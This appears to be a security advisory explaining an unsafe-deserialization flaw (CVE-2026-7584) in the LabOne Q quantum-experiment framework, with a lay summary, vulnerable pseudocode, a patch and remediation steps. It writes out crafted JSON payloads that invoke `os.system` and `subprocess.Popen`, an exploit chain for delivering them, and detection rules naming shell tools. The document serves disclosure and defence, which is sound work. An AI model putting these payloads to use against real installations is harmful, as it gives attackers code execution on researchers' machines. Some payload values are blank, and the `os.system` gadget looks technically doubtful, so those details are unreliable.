LabOne Q is software used by researchers and companies working with quantum computers. Think of it like the control panel for extremely expensive, sensitive laboratory equipment. The problem is that this software has a hidden door that lets attackers sneak in malicious code.
Here's how it works: when scientists use LabOne Q, they often share experiment files with colleagues — the same way you might email a spreadsheet. But this vulnerability means someone could hide malicious instructions inside those files. When the software opens the file, it automatically runs whatever code the attacker hid inside, without asking any questions first.
Imagine leaving your front door unlocked with a note saying "Please let yourself in and do whatever you want." That's essentially what's happening here. The software trusts whatever is inside these files completely.
Who should worry? Research labs, quantum computing companies, and academic institutions that use LabOne Q are most at risk. If someone emails you a malicious experiment file, your computer could be completely compromised. An attacker could steal research data, install spyware, or sabotage your work.
The good news is there's no evidence anyone is actively exploiting this yet. But researchers and companies need to act now, before bad actors catch on.
What you should do right now: First, update LabOne Q as soon as a patch is available — watch the vendor's website. Second, be cautious about experiment files from untrusted sources, especially unsolicited ones. Third, if you manage a research lab, talk to your IT department about monitoring for suspicious file activity.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7584 is an unsafe deserialization vulnerability in Zurich Instruments LabOne Q, a Python framework for quantum computing experiment orchestration. The serialization subsystem's import_cls function accepts a fully-qualified Python class path directly from serialized data and imports it without restriction, allowing an attacker who can deliver a malicious experiment file to achieve arbitrary code execution in the victim's Python process.
CVSS 7.8 (HIGH) reflects the local execution context — the attack requires user interaction (opening a file) but grants full code execution with no further preconditions. In collaborative quantum research environments where experiment files are routinely shared across institutions, the realistic threat surface is substantial.
Root cause:import_cls calls importlib.import_module on an attacker-supplied dotted module path and then invokes getattr on the result with an attacker-supplied class name, with no allowlist, no type validation, and no sandboxing of the resulting instantiation.
Affected Component
The vulnerability lives in LabOne Q's serialization layer, specifically the Serializer / Deserializer classes and the shared utility import_cls helper. Serialized experiment artifacts are stored as JSON (or YAML in older revisions) with a __class__ key carrying the fully-qualified Python type for each node. On load, the deserializer calls import_cls for every node in the object graph.
Affected files (representative paths from the public repository):
laboneq/serialization/serializer.py — top-level load() / save() API
laboneq/serialization/reflection.py — import_cls and object reconstruction helpers
Root Cause Analysis
The vulnerable logic reconstructs a Python type from the serialized __class__ field and immediately instantiates it with the deserialized keyword arguments. No step in the pipeline validates that the requested class belongs to LabOne Q's own type system.
# laboneq/serialization/reflection.py (pre-patch, pseudocode derived from CVE description)
import importlib
def import_cls(fully_qualified_name: str):
"""
Resolve a dotted class path to a live Python type.
e.g. "laboneq.dsl.experiment.Experiment"
"os.system"
"subprocess.Popen"
"""
# BUG: no allowlist — fully_qualified_name comes verbatim from attacker-controlled data
module_path, _, class_name = fully_qualified_name.rpartition(".")
module = importlib.import_module(module_path) # BUG: unrestricted module import
return getattr(module, class_name) # BUG: unrestricted attribute fetch
def _reconstruct_object(node: dict):
"""
Recursively reconstruct a serialized object graph node.
Called for every dict that carries a __class__ key.
"""
cls_path = node["__class__"] # attacker-controlled string from JSON
kwargs = node.get("__args__", {}) # attacker-controlled constructor arguments
cls = import_cls(cls_path) # resolves to arbitrary Python type
# BUG: cls is instantiated with fully attacker-controlled kwargs,
# no type check against a known-safe class registry
return cls(**kwargs) # arbitrary class instantiation with arbitrary args
def load(path: str):
"""Public entry point — load and deserialize a LabOne Q experiment file."""
with open(path, "r") as fh:
raw = json.load(fh)
return _reconstruct_object(raw) # walks entire object graph recursively
The critical invariant violation: the deserializer assumes the input file was produced by a trusted LabOne Q serializer. There is no digital signature, no schema validation before class resolution, and no registry of permitted types. The __class__ string is handed to importlib.import_module before any content of the file is otherwise validated.
Exploitation Mechanics
An attacker crafts a minimal JSON file that mimics LabOne Q's serialization envelope but substitutes a dangerous class for a benign experiment type. The simplest gadget chain uses subprocess.Popen directly; more sophisticated payloads chain through importlib itself to load a compiled extension from a remote path.
A more reliable OS-agnostic payload targets os.system through a slightly different gadget, because os.system accepts a single positional string rather than keyword arguments. The attacker adjusts the envelope accordingly and leverages Python's __init__ calling conventions:
# Alternative gadget — works when __args__ is passed as positional list
payload_v2 = {
"__class__": "os.system",
"__args__": {
# some reflection implementations unpack single-value dicts as positional
"command": "calc.exe" # Windows PoC
}
}
EXPLOIT CHAIN:
1. Attacker crafts collab_experiment.json with:
__class__ = "subprocess.Popen"
__args__ = { "args": ["bash","-c",""], "shell": false }
2. File is delivered to victim via:
- Email attachment ("latest calibration run")
- Shared network path / lab NAS
- Git repository containing experiment suite
3. Victim calls Serializer.load("collab_experiment.json")
-> json.load() parses file into Python dict (no validation here)
4. _reconstruct_object() reads node["__class__"] = "subprocess.Popen"
5. import_cls("subprocess.Popen") executes:
importlib.import_module("subprocess") -> loads subprocess module
getattr(subprocess, "Popen") -> returns Popen class
6. cls(**kwargs) executes:
subprocess.Popen(args=["bash","-c",""], shell=False)
-> OS command executes in victim's user context
7. Attacker achieves arbitrary code execution.
No privilege escalation needed; quantum instrument drivers
frequently run with elevated access to hardware interfaces.
Memory Layout
This is a pure logic vulnerability rather than a memory-corruption bug — no heap spray or overflow is required. The "memory" of interest is Python's module cache (sys.modules) and the interpreter's object graph during deserialization.
PYTHON OBJECT STATE — BEFORE _reconstruct_object() CALL:
sys.modules = {
"laboneq.serialization": ,
"laboneq.dsl.experiment": ,
...
}
node (dict from JSON):
"__class__" -> "subprocess.Popen" <-- attacker string
"__args__" -> {"args": [...], ...} <-- attacker kwargs
PYTHON OBJECT STATE — AFTER import_cls() RETURNS:
sys.modules = {
"laboneq.serialization": ,
"laboneq.dsl.experiment": ,
"subprocess": , <-- newly imported by attacker
...
}
cls -> <-- attacker-chosen type
kwargs -> {"args":["bash","-c","..."], ...} <-- attacker-chosen args
AFTER cls(**kwargs):
Popen object created; child process forked;
attacker command running as victim UID.
_reconstruct_object() returns the Popen handle
as if it were an Experiment object.
Patch Analysis
The correct fix introduces a class registry — an explicit allowlist of module paths that the deserializer is permitted to import — and validates the resolved class against LabOne Q's own type hierarchy before instantiation.
# BEFORE (vulnerable):
def import_cls(fully_qualified_name: str):
module_path, _, class_name = fully_qualified_name.rpartition(".")
module = importlib.import_module(module_path) # no restriction
return getattr(module, class_name) # no restriction
def _reconstruct_object(node: dict):
cls_path = node["__class__"]
kwargs = node.get("__args__", {})
cls = import_cls(cls_path)
return cls(**kwargs) # no type check
# AFTER (patched):
# Allowlist of top-level module prefixes the deserializer may import
_ALLOWED_MODULE_PREFIXES = frozenset({
"laboneq.dsl",
"laboneq.compiler",
"laboneq.core",
"numpy", # numeric types only — still worth auditing
})
# Base class all deserializable LabOne Q types must inherit from
from laboneq.core.serialization_base import LabOneQSerializable
def import_cls(fully_qualified_name: str):
module_path, _, class_name = fully_qualified_name.rpartition(".")
# PATCH: reject any module not on the allowlist
if not any(module_path == p or module_path.startswith(p + ".")
for p in _ALLOWED_MODULE_PREFIXES):
raise DeserializationError(
f"Refusing to import disallowed module: {module_path!r}"
)
module = importlib.import_module(module_path)
cls = getattr(module, class_name)
# PATCH: enforce type hierarchy — resolved class must be a known LabOne Q type
if not (isinstance(cls, type) and issubclass(cls, LabOneQSerializable)):
raise DeserializationError(
f"Class {fully_qualified_name!r} is not a registered LabOne Q type"
)
return cls
def _reconstruct_object(node: dict):
cls_path = node["__class__"]
kwargs = node.get("__args__", {})
cls = import_cls(cls_path) # now raises on disallowed types
# PATCH: validate kwargs keys against cls.__init__ signature
_validate_kwargs(cls, kwargs)
return cls(**kwargs)
The secondary hardening measure, _validate_kwargs, uses inspect.signature to ensure constructor argument names match the expected signature of the resolved class, preventing parameter-injection attacks against legitimate LabOne Q classes whose constructors have dangerous side effects when given unexpected keyword arguments.
Detection and Indicators
Defenders and SAST tooling should flag the following patterns in any Python codebase that deserializes structured data:
# Grep signatures for vulnerable import_cls patterns:
# 1. importlib.import_module called with data-derived argument
importlib.import_module(untrusted_string)
# 2. getattr on a dynamically-imported module with user-controlled attribute name
getattr(module, node["__class__"].split(".")[-1])
# 3. Instantiation of a type resolved from deserialized data without isinstance guard
cls = resolve_from_data(node)
return cls(**node["args"]) # no subclass check
RUNTIME INDICATORS OF ACTIVE EXPLOITATION:
- LabOne Q Python process spawning unexpected child processes
(bash, cmd.exe, powershell, curl, wget, python3 -c ...)
- sys.modules containing non-LabOne Q entries loaded during Serializer.load()
(subprocess, socket, ctypes, shutil appearing for the first time)
- Experiment JSON files where __class__ field does not begin with "laboneq."
- File-system audit: .json files in experiment directories containing
the strings "subprocess", "os.system", "pty", "socket", "importlib"
YARA RULE (experiment file scanning):
rule LabOneQ_Malicious_Experiment {
strings:
$cls1 = "\"__class__\": \"subprocess" ascii
$cls2 = "\"__class__\": \"os." ascii
$cls3 = "\"__class__\": \"socket" ascii
$cls4 = "\"__class__\": \"ctypes" ascii
condition:
any of them
}
Remediation
Immediate actions:
Update LabOne Q to a version that includes the fix for CVE-2026-7584 (consult NVD for the specific boundary version).
Do not open experiment files received from untrusted or unverified sources with any unpatched LabOne Q installation.
Audit shared experiment repositories for __class__ values outside the laboneq.* namespace.
Architectural guidance for maintainers implementing similar serialization systems:
Never use fully-qualified class names as a deserialization key in a format that reaches untrusted parties. Use integer type tags mapped to a closed registry instead.
If class names must be stored, validate against a compile-time generated allowlist derived from the package's own __all__ exports.
Consider replacing the custom serialization layer with Pydantic or cattrs, both of which enforce schema-first deserialization with explicit type mapping and no dynamic import surface.
Sign experiment files with a project-specific key and verify the signature before any deserialization step begins.